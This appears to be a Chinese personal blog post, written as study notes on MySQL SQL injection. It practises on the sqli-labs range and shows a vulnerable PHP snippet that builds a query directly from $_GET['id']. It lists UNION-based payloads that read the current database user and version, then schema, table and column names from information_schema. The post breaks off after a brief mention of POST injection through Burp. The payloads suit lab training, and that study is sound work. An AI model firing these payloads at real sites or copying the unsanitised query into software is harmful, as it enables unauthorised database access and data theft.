学习sql注入其实有一段时间了,但是没有写过文章来记录。因为sql注入的确是记不住的,需要用的代码过多,很多时候确实是要使用cv大法去进行注入的,但是等之后用sqlmap就能全自动注入了,非常的强大。但是就算有工具,我们也需要学习基础的知识。

SQL注入对于不同的数据库是有不同的代码的,因为本质是对于后端服务器没有验证用户输入,导致用户可以输入数据库操作语句,并直接在服务器中执行而导致数据库泄露等问题。

1.SQL注入类型

  • 按注入点区分:字符型注入、数字型注入和搜索型注入
  • 按提交方式区分:GET注入、POST注入和COOKIE注入
  • 按页面执行反馈区分:布尔盲注时间盲注报错注入、堆叠注入
  • 其他类:文件读写二次注入

而我们的学习以MySQL数据库为目标进行注入的,使用的本地靶场sqllab,在GitHub有,不过这个靶场快10年了,有点过于老了,可以去看看在线靶场有没有更好的。

2.SQL注入讲解

我们就拿一个简单的php文件中的代码

if(isset($_GET['id']))
{
$id=$_GET['id'];//获取用户输入
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //直接放入语句中查询(注入就是在这里)
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以看到后端php中,$id=$_GET['id'];用来获取前端传输的数据,但是没有对数据进行任何过滤。那应该该如何产生注入呢?

如果用户只是输入1,2等数字,那么就会在服务器中直接通过语句查找对应的数据。但是当你输入-1,apple等字段时,由于找不到该字段,那么就不会执行,此时我们使用union函数(mysql基础语句),我们可以使用/?id=-1 union select xxxx这种语句去查找数据库里的内容。因为union语句是在union前语句不成立的情况下就会执行union后面的语句,此时我们就可以为所欲为了(并非)。

其实本质就是抓住对于服务器中代码对用户输入过滤不严谨甚至没有过滤的情况进行注入。

看下面这个梗图,就是这种情况。只有你想不到,没有做不到。

3.MySQL常见注入代码

由于MySQL数据库本身自带一个数据库,其中存放有所有数据库名称的列表,即information_schema数据库

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。

?id=-1 union select 1,user(),3//查询当前数据库用户

?id=-1 union select 1,database(),version()//查询数据库名称及其数据库版本

 //跨库查询的前提条件是必须高权限的用户才能执行跨库查询
?id=-1 union select 1,schema_name,3 from information_schema.schemata
//直接跨库查询所有的mysql数据库名称
//这个函数只能查出第一个数据库名称,所以我们稍微修改

union select 1,group_concat(schema_name),3 from information_schema.schemata
//GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。  

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='你需要的库名称' //获取表名称

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表名称' and table_schema='数据表名称' //获取表中的列名行名

其实查询操作都是相同的,sql注入最大的难点是如何获取该路由的注入点和如何获取数据库的最高权限。

注入类型有很多,post方式,json,cookie方式,但最终还是通过数字型和字符型注入的延展,以不同方式来实现注入,但是还是要了解运作过程。

1.POST注入

post注入时,我们可以通过burp抓包以后修改数据,然后重新发送从而达到注入

全都不会写!
最后更新于 2025-11-25